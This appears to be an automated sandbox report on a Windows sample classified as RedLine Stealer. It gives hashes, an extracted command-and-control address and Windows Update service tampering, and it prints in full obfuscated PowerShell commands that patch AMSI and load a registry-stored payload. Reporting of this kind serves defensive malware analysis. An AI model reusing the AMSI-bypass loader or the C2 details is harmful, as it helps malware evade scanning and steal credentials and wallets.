Analysis
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max time kernel
164s -
max time network
196s -
platform
windows10-2004_x64 -
resource
win10v2004-20221111-en -
resource tags
arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system -
submitted
03/02/2023, 19:08
Static task
static1
Behavioral task
behavioral1
Sample
9f41b5085cd9d174d9f5fdda111c8bf1ffb1c7b4.exe
Resource
win7-20221111-en
Behavioral task
behavioral2
Sample
9f41b5085cd9d174d9f5fdda111c8bf1ffb1c7b4.exe
Resource
win10v2004-20221111-en
General
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Target
9f41b5085cd9d174d9f5fdda111c8bf1ffb1c7b4.exe
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Size
898KB
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MD5
59b4067b2e46f3e782f55c124f85c58e
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SHA1
9f41b5085cd9d174d9f5fdda111c8bf1ffb1c7b4
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SHA256
091369381ef4de4d6caf614b4e307e84e59e422fdaf7d23feb13762c447909b4
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SHA512
88f1850824cab573b07810568f9068bfdda4e949e29139dba3829ecade9ab7c11ea9359e2b78379774a8acbfeea032c6ffba100dec370f7447ec463f939d63d8
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SSDEEP
3072:1L1hinzhEGbhWj/hGqHkSwWgEFZqvyXipmS6RIguAg0FujD0Qth7CTEzc:1LezhHE1GqESwBlvyyQ8AOc+tCTAc
Malware Config
Extracted
redline
1
107.182.129.73:21733
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auth_value
3a5bb0917495b4312d052a0b8977d2bb
Signatures
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Modifies security service 2 TTPs 5 IoCs
description ioc Process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo reg.exe -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
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RedLine payload 1 IoCs
resource yara_rule behavioral2/memory/548-168-0x0000000000400000-0x0000000000420000-memory.dmp family_redline -
Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs
description pid Process procid_target PID 716 created 1028 716 SmartDefRun.exe 30 PID 716 created 1028 716 SmartDefRun.exe 30 PID 716 created 1028 716 SmartDefRun.exe 30 PID 716 created 1028 716 SmartDefRun.exe 30 PID 1140 created 616 1140 powershell.EXE 72 -
Blocklisted process makes network request 1 IoCs
flow pid Process 42 1524 powershell.exe -
Downloads MZ/PE file
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Drops file in Drivers directory 1 IoCs
description ioc Process File created C:\Windows\System32\drivers\etc\hosts SmartDefRun.exe -
Stops running service(s) 3 TTPs
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Executes dropped EXE 4 IoCs
pid Process 4768 new2.exe 3432 C4Loader.exe 716 SmartDefRun.exe 2272 SysApp.exe -
Uses the VBS compiler for execution 1 TTPs
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Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
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Drops file in System32 directory 2 IoCs
description ioc Process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log powershell.EXE -
Suspicious use of SetThreadContext 4 IoCs
description pid Process procid_target PID 820 set thread context of 1276 820 9f41b5085cd9d174d9f5fdda111c8bf1ffb1c7b4.exe 80 PID 4768 set thread context of 548 4768 new2.exe 88 PID 716 set thread context of 2304 716 SmartDefRun.exe 119 PID 1140 set thread context of 4712 1140 powershell.EXE 124 -
Drops file in Program Files directory 1 IoCs
description ioc Process File created C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe SmartDefRun.exe -
Launches sc.exe 5 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 2068 sc.exe 1276 sc.exe 4732 sc.exe 4992 sc.exe 4456 sc.exe -
Program crash 2 IoCs
pid pid_target Process procid_target 3420 820 WerFault.exe 77 4412 4768 WerFault.exe 85 -
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 4024 schtasks.exe -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE -
Suspicious behavior: EnumeratesProcesses 38 IoCs
pid Process 1524 powershell.exe 1524 powershell.exe 2272 SysApp.exe 2272 SysApp.exe 2272 SysApp.exe 2272 SysApp.exe 2272 SysApp.exe 2272 SysApp.exe 2272 SysApp.exe 2272 SysApp.exe 2272 SysApp.exe 2272 SysApp.exe 716 SmartDefRun.exe 716 SmartDefRun.exe 3152 powershell.exe 3152 powershell.exe 548 vbc.exe 716 SmartDefRun.exe 716 SmartDefRun.exe 716 SmartDefRun.exe 716 SmartDefRun.exe 3692 powershell.exe 3692 powershell.exe 716 SmartDefRun.exe 716 SmartDefRun.exe 1140 powershell.EXE 1140 powershell.EXE 2720 powershell.EXE 2720 powershell.EXE 1140 powershell.EXE 4712 dllhost.exe 4712 dllhost.exe 4712 dllhost.exe 4712 dllhost.exe 4712 dllhost.exe 4712 dllhost.exe 4712 dllhost.exe 4712 dllhost.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 1524 powershell.exe Token: SeDebugPrivilege 3152 powershell.exe Token: SeDebugPrivilege 548 vbc.exe Token: SeDebugPrivilege 3692 powershell.exe Token: SeIncreaseQuotaPrivilege 3692 powershell.exe Token: SeSecurityPrivilege 3692 powershell.exe Token: SeTakeOwnershipPrivilege 3692 powershell.exe Token: SeLoadDriverPrivilege 3692 powershell.exe Token: SeSystemProfilePrivilege 3692 powershell.exe Token: SeSystemtimePrivilege 3692 powershell.exe Token: SeProfSingleProcessPrivilege 3692 powershell.exe Token: SeIncBasePriorityPrivilege 3692 powershell.exe Token: SeCreatePagefilePrivilege 3692 powershell.exe Token: SeBackupPrivilege 3692 powershell.exe Token: SeRestorePrivilege 3692 powershell.exe Token: SeShutdownPrivilege 3692 powershell.exe Token: SeDebugPrivilege 3692 powershell.exe Token: SeSystemEnvironmentPrivilege 3692 powershell.exe Token: SeRemoteShutdownPrivilege 3692 powershell.exe Token: SeUndockPrivilege 3692 powershell.exe Token: SeManageVolumePrivilege 3692 powershell.exe Token: 33 3692 powershell.exe Token: 34 3692 powershell.exe Token: 35 3692 powershell.exe Token: 36 3692 powershell.exe Token: SeIncreaseQuotaPrivilege 3692 powershell.exe Token: SeSecurityPrivilege 3692 powershell.exe Token: SeTakeOwnershipPrivilege 3692 powershell.exe Token: SeLoadDriverPrivilege 3692 powershell.exe Token: SeSystemProfilePrivilege 3692 powershell.exe Token: SeSystemtimePrivilege 3692 powershell.exe Token: SeProfSingleProcessPrivilege 3692 powershell.exe Token: SeIncBasePriorityPrivilege 3692 powershell.exe Token: SeCreatePagefilePrivilege 3692 powershell.exe Token: SeBackupPrivilege 3692 powershell.exe Token: SeRestorePrivilege 3692 powershell.exe Token: SeShutdownPrivilege 3692 powershell.exe Token: SeDebugPrivilege 3692 powershell.exe Token: SeSystemEnvironmentPrivilege 3692 powershell.exe Token: SeRemoteShutdownPrivilege 3692 powershell.exe Token: SeUndockPrivilege 3692 powershell.exe Token: SeManageVolumePrivilege 3692 powershell.exe Token: 33 3692 powershell.exe Token: 34 3692 powershell.exe Token: 35 3692 powershell.exe Token: 36 3692 powershell.exe Token: SeIncreaseQuotaPrivilege 3692 powershell.exe Token: SeSecurityPrivilege 3692 powershell.exe Token: SeTakeOwnershipPrivilege 3692 powershell.exe Token: SeLoadDriverPrivilege 3692 powershell.exe Token: SeSystemProfilePrivilege 3692 powershell.exe Token: SeSystemtimePrivilege 3692 powershell.exe Token: SeProfSingleProcessPrivilege 3692 powershell.exe Token: SeIncBasePriorityPrivilege 3692 powershell.exe Token: SeCreatePagefilePrivilege 3692 powershell.exe Token: SeBackupPrivilege 3692 powershell.exe Token: SeRestorePrivilege 3692 powershell.exe Token: SeShutdownPrivilege 3692 powershell.exe Token: SeDebugPrivilege 3692 powershell.exe Token: SeSystemEnvironmentPrivilege 3692 powershell.exe Token: SeRemoteShutdownPrivilege 3692 powershell.exe Token: SeUndockPrivilege 3692 powershell.exe Token: SeManageVolumePrivilege 3692 powershell.exe Token: 33 3692 powershell.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 820 wrote to memory of 1276 820 9f41b5085cd9d174d9f5fdda111c8bf1ffb1c7b4.exe 80 PID 820 wrote to memory of 1276 820 9f41b5085cd9d174d9f5fdda111c8bf1ffb1c7b4.exe 80 PID 820 wrote to memory of 1276 820 9f41b5085cd9d174d9f5fdda111c8bf1ffb1c7b4.exe 80 PID 820 wrote to memory of 1276 820 9f41b5085cd9d174d9f5fdda111c8bf1ffb1c7b4.exe 80 PID 820 wrote to memory of 1276 820 9f41b5085cd9d174d9f5fdda111c8bf1ffb1c7b4.exe 80 PID 1276 wrote to memory of 1524 1276 vbc.exe 83 PID 1276 wrote to memory of 1524 1276 vbc.exe 83 PID 1276 wrote to memory of 1524 1276 vbc.exe 83 PID 1524 wrote to memory of 4768 1524 powershell.exe 85 PID 1524 wrote to memory of 4768 1524 powershell.exe 85 PID 1524 wrote to memory of 4768 1524 powershell.exe 85 PID 1524 wrote to memory of 3432 1524 powershell.exe 87 PID 1524 wrote to memory of 3432 1524 powershell.exe 87 PID 1524 wrote to memory of 3432 1524 powershell.exe 87 PID 1524 wrote to memory of 716 1524 powershell.exe 89 PID 1524 wrote to memory of 716 1524 powershell.exe 89 PID 4768 wrote to memory of 548 4768 new2.exe 88 PID 4768 wrote to memory of 548 4768 new2.exe 88 PID 4768 wrote to memory of 548 4768 new2.exe 88 PID 4768 wrote to memory of 548 4768 new2.exe 88 PID 1524 wrote to memory of 2272 1524 powershell.exe 90 PID 1524 wrote to memory of 2272 1524 powershell.exe 90 PID 1524 wrote to memory of 2272 1524 powershell.exe 90 PID 4768 wrote to memory of 548 4768 new2.exe 88 PID 2348 wrote to memory of 4456 2348 cmd.exe 107 PID 2348 wrote to memory of 4456 2348 cmd.exe 107 PID 2348 wrote to memory of 2068 2348 cmd.exe 108 PID 2348 wrote to memory of 2068 2348 cmd.exe 108 PID 2348 wrote to memory of 1276 2348 cmd.exe 109 PID 2348 wrote to memory of 1276 2348 cmd.exe 109 PID 2348 wrote to memory of 4732 2348 cmd.exe 110 PID 2348 wrote to memory of 4732 2348 cmd.exe 110 PID 2348 wrote to memory of 4992 2348 cmd.exe 111 PID 2348 wrote to memory of 4992 2348 cmd.exe 111 PID 2348 wrote to memory of 1752 2348 cmd.exe 112 PID 2348 wrote to memory of 1752 2348 cmd.exe 112 PID 2348 wrote to memory of 1308 2348 cmd.exe 113 PID 2348 wrote to memory of 1308 2348 cmd.exe 113 PID 2348 wrote to memory of 1036 2348 cmd.exe 114 PID 2348 wrote to memory of 1036 2348 cmd.exe 114 PID 2348 wrote to memory of 2624 2348 cmd.exe 115 PID 2348 wrote to memory of 2624 2348 cmd.exe 115 PID 2348 wrote to memory of 2608 2348 cmd.exe 116 PID 2348 wrote to memory of 2608 2348 cmd.exe 116 PID 2272 wrote to memory of 4024 2272 SysApp.exe 117 PID 2272 wrote to memory of 4024 2272 SysApp.exe 117 PID 2272 wrote to memory of 4024 2272 SysApp.exe 117 PID 716 wrote to memory of 2304 716 SmartDefRun.exe 119 PID 1140 wrote to memory of 4712 1140 powershell.EXE 124 PID 1140 wrote to memory of 4712 1140 powershell.EXE 124 PID 1140 wrote to memory of 4712 1140 powershell.EXE 124 PID 1140 wrote to memory of 4712 1140 powershell.EXE 124 PID 1140 wrote to memory of 4712 1140 powershell.EXE 124 PID 1140 wrote to memory of 4712 1140 powershell.EXE 124 PID 1140 wrote to memory of 4712 1140 powershell.EXE 124 PID 1140 wrote to memory of 4712 1140 powershell.EXE 124 PID 1140 wrote to memory of 4712 1140 powershell.EXE 124 PID 4712 wrote to memory of 616 4712 dllhost.exe 72 PID 4712 wrote to memory of 668 4712 dllhost.exe 70 PID 4712 wrote to memory of 952 4712 dllhost.exe 66 PID 4712 wrote to memory of 1016 4712 dllhost.exe 2 PID 4712 wrote to memory of 736 4712 dllhost.exe 65 PID 4712 wrote to memory of 1000 4712 dllhost.exe 3 PID 4712 wrote to memory of 1048 4712 dllhost.exe 63
Processes
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C:\Windows\system32\dwm.exe"dwm.exe"1⤵PID:1016
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:1000
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵PID:1152
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C:\Windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}2⤵PID:2896
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "function Local:SiCPMlEkapIi{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$ewJrFsuxmltCET,[Parameter(Position=1)][Type]$ZqFbnPlSHi)$DohNwcvvSER=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+'e'+''+[Char](102)+''+[Char](108)+'e'+[Char](99)+''+[Char](116)+''+'e'+''+[Char](100)+'D'+[Char](101)+''+[Char](108)+'e'+[Char](103)+''+[Char](97)+''+[Char](116)+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+[Char](77)+''+[Char](101)+'mor'+'y'+''+[Char](77)+''+[Char](111)+''+[Char](100)+''+[Char](117)+'le',$False).DefineType('M'+[Char](121)+''+'D'+''+[Char](101)+'l'+[Char](101)+''+[Char](103)+''+[Char](97)+''+[Char](116)+'e'+'T'+''+[Char](121)+'pe',''+[Char](67)+''+'l'+''+[Char](97)+''+'s'+''+'s'+''+[Char](44)+'P'+'u'+''+'b'+'l'+'i'+''+'c'+''+','+''+[Char](83)+''+'e'+''+'a'+''+[Char](108)+''+[Char](101)+''+'d'+','+[Char](65)+''+[Char](110)+''+[Char](115)+''+[Char](105)+''+[Char](67)+''+'l'+''+[Char](97)+''+'s'+'s'+[Char](44)+''+[Char](65)+'u'+'t'+''+'o'+''+'C'+'l'+[Char](97)+''+[Char](115)+''+'s'+'',[MulticastDelegate]);$DohNwcvvSER.DefineConstructor('R'+[Char](84)+''+[Char](83)+''+'p'+''+'e'+''+'c'+''+'i'+'a'+[Char](108)+''+'N'+''+'a'+''+[Char](109)+'e'+','+'H'+'i'+'d'+[Char](101)+'By'+[Char](83)+''+[Char](105)+''+[Char](103)+''+[Char](44)+''+[Char](80)+'u'+[Char](98)+''+[Char](108)+'ic',[Reflection.CallingConventions]::Standard,$ewJrFsuxmltCET).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+'n'+'t'+'i'+''+'m'+''+[Char](101)+''+[Char](44)+''+[Char](77)+''+[Char](97)+''+'n'+''+[Char](97)+'g'+[Char](101)+'d');$DohNwcvvSER.DefineMethod(''+'I'+''+[Char](110)+''+[Char](118)+''+[Char](111)+'k'+[Char](101)+'',''+[Char](80)+'ub'+[Char](108)+''+[Char](105)+''+[Char](99)+','+'H'+'i'+[Char](100)+''+[Char](101)+''+[Char](66)+'y'+[Char](83)+''+'i'+''+[Char](103)+''+[Char](44)+''+'N'+''+'e'+''+'w'+'S'+'l'+''+[Char](111)+''+[Char](116)+''+','+''+[Char](86)+''+'i'+'r'+'t'+''+[Char](117)+''+[Char](97)+''+[Char](108)+'',$ZqFbnPlSHi,$ewJrFsuxmltCET).SetImplementationFlags('Ru'+[Char](110)+''+'t'+'i'+[Char](109)+'e,'+'M'+''+[Char](97)+''+[Char](110)+''+[Char](97)+''+[Char](103)+''+[Char](101)+'d');Write-Output $DohNwcvvSER.CreateType();}$VCMTDHQUFNjvE=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+[Char](121)+'s'+'t'+''+'e'+''+[Char](109)+''+[Char](46)+''+[Char](100)+''+[Char](108)+'l')}).GetType(''+'M'+''+[Char](105)+''+[Char](99)+''+[Char](114)+''+[Char](111)+''+[Char](115)+''+'o'+''+[Char](102)+''+[Char](116)+''+[Char](46)+'W'+'i'+''+[Char](110)+''+[Char](51)+''+[Char](50)+''+'.'+''+[Char](85)+''+'n'+''+[Char](115)+''+'a'+''+'f'+''+'e'+'V'+[Char](67)+'M'+[Char](84)+''+[Char](68)+'H'+[Char](81)+''+[Char](85)+''+[Char](70)+''+[Char](78)+''+[Char](106)+''+[Char](118)+''+[Char](69)+'');$lPlyMVURbQXGuV=$VCMTDHQUFNjvE.GetMethod(''+[Char](108)+''+[Char](80)+''+'l'+''+[Char](121)+''+[Char](77)+''+'V'+''+'U'+''+[Char](82)+''+'b'+''+[Char](81)+''+[Char](88)+''+[Char](71)+'u'+[Char](86)+'',[Reflection.BindingFlags]''+[Char](80)+'u'+'b'+'li'+'c'+''+[Char](44)+''+[Char](83)+'t'+[Char](97)+''+[Char](116)+'i'+[Char](99)+'',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$xMSPjPuskAiuyBhbSlx=SiCPMlEkapIi @([String])([IntPtr]);$aLKXMeaPIcRInjfNYsosJP=SiCPMlEkapIi @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$yYsvYkWhEUu=$VCMTDHQUFNjvE.GetMethod(''+[Char](71)+'et'+'M'+''+[Char](111)+''+[Char](100)+''+[Char](117)+''+'l'+'e'+[Char](72)+'a'+'n'+'d'+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+'k'+'e'+'r'+''+'n'+''+'e'+''+'l'+''+[Char](51)+'2'+'.'+''+'d'+''+[Char](108)+''+[Char](108)+'')));$WxFOPbJZkriDXk=$lPlyMVURbQXGuV.Invoke($Null,@([Object]$yYsvYkWhEUu,[Object](''+'L'+''+[Char](111)+''+[Char](97)+''+'d'+''+[Char](76)+''+[Char](105)+''+[Char](98)+''+'r'+''+[Char](97)+''+'r'+''+[Char](121)+''+'A'+'')));$XlZrgZQPrmKatwaJb=$lPlyMVURbQXGuV.Invoke($Null,@([Object]$yYsvYkWhEUu,[Object]('V'+[Char](105)+''+[Char](114)+''+[Char](116)+'u'+[Char](97)+''+[Char](108)+''+'P'+'r'+[Char](111)+''+[Char](116)+''+[Char](101)+''+[Char](99)+''+[Char](116)+'')));$EdmZIDV=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WxFOPbJZkriDXk,$xMSPjPuskAiuyBhbSlx).Invoke(''+[Char](97)+'m'+'s'+'i'+'.'+''+[Char](100)+''+[Char](108)+''+[Char](108)+'');$oZdeVbjdbYaOyxjUE=$lPlyMVURbQXGuV.Invoke($Null,@([Object]$EdmZIDV,[Object](''+[Char](65)+''+'m'+''+[Char](115)+''+'i'+''+[Char](83)+''+[Char](99)+''+'a'+''+[Char](110)+''+[Char](66)+''+'u'+''+[Char](102)+''+[Char](102)+''+[Char](101)+''+'r'+'')));$bNzMrGQUjW=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($XlZrgZQPrmKatwaJb,$aLKXMeaPIcRInjfNYsosJP).Invoke($oZdeVbjdbYaOyxjUE,[uint32]8,4,[ref]$bNzMrGQUjW);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$oZdeVbjdbYaOyxjUE,8);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($XlZrgZQPrmKatwaJb,$aLKXMeaPIcRInjfNYsosJP).Invoke($oZdeVbjdbYaOyxjUE,[uint32]8,0x20,[ref]$bNzMrGQUjW);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+[Char](70)+''+[Char](84)+''+[Char](87)+'A'+[Char](82)+''+[Char](69)+'').GetValue(''+'d'+''+[Char](105)+''+[Char](97)+''+'l'+''+[Char](101)+'r'+[Char](115)+''+[Char](116)+'a'+'g'+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)2⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:2720 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:4404
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:DBZGTxSkMVoA{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$aIikSQsbnBAQKQ,[Parameter(Position=1)][Type]$uKxgoTFytI)$tpYNiEDLYZg=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+[Char](102)+''+[Char](108)+''+[Char](101)+''+[Char](99)+'te'+[Char](100)+''+[Char](68)+''+[Char](101)+''+[Char](108)+''+'e'+'g'+[Char](97)+''+'t'+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('I'+[Char](110)+''+'M'+''+'e'+''+[Char](109)+''+[Char](111)+''+[Char](114)+'y'+[Char](77)+''+'o'+'d'+[Char](117)+''+[Char](108)+''+'e'+'',$False).DefineType('M'+[Char](121)+''+[Char](68)+''+[Char](101)+'l'+[Char](101)+''+'g'+''+[Char](97)+''+'t'+''+'e'+''+[Char](84)+'y'+[Char](112)+'e',''+[Char](67)+''+'l'+'a'+[Char](115)+''+[Char](115)+''+[Char](44)+'P'+[Char](117)+''+[Char](98)+'l'+[Char](105)+''+[Char](99)+''+','+''+'S'+''+[Char](101)+''+'a'+''+[Char](108)+''+[Char](101)+'d'+','+'A'+[Char](110)+''+[Char](115)+'i'+[Char](67)+'la'+[Char](115)+''+[Char](115)+''+','+'A'+'u'+''+[Char](116)+'oC'+'l'+''+[Char](97)+'ss',[MulticastDelegate]);$tpYNiEDLYZg.DefineConstructor(''+[Char](82)+''+'T'+''+'S'+''+[Char](112)+''+[Char](101)+''+'c'+''+[Char](105)+''+[Char](97)+''+[Char](108)+''+'N'+''+[Char](97)+''+[Char](109)+'e,'+'H'+'id'+[Char](101)+''+[Char](66)+''+[Char](121)+'S'+[Char](105)+''+[Char](103)+''+','+'P'+'u'+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$aIikSQsbnBAQKQ).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+[Char](116)+''+[Char](105)+''+[Char](109)+'